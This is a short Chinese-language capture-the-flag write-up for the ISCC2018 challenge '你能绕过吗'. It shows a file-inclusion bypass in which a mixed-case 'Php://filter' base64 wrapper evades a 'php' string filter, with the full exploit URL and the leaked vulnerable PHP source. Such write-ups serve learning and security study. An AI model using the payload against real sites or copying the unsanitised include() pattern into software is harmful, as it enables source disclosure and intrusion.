avatar

ISCC2018-你能绕过吗

201805161526441775576230.png

尝试对ID进行非法操作引发错误,发现无效,那么把目标转向f进行尝试输入

  1. php 出现error
  2. index 出现打不开了
  3. 其他 无出现任何内容

现在可以猜测这是一个文件包含漏洞,但是过滤了包含php字符 “fefrsfphpg”,包含index时出错,是因为它自己包含了自己

思路:根据以上猜测可以确定,需要对文件进行编码所以采用

php://filter/read=convert.base64-encode/resource= 来获取文件内容,但由于过滤了包含php字符串的内容,可以使用大小写混合绕过

1
http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
解密后获得
<!DOCTYPE html>
<html>
<head>
<title>导航页</title>
<meta charset="UTF-8">
</head>
<body>
<a href='index.php?f=articles&id=1'>ID: 1</href>
</br>
<a href='index.php?f=articles&id=2'>ID: 2</href>
</br>
<a href='index.php?f=articles&id=3'>ID: 3</href>
</br>
<a href='index.php?f=articles&id=4'>ID: 4</href>
</br>
</body>
</html>

<?php
#ISCC{xxx}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}

?>

评论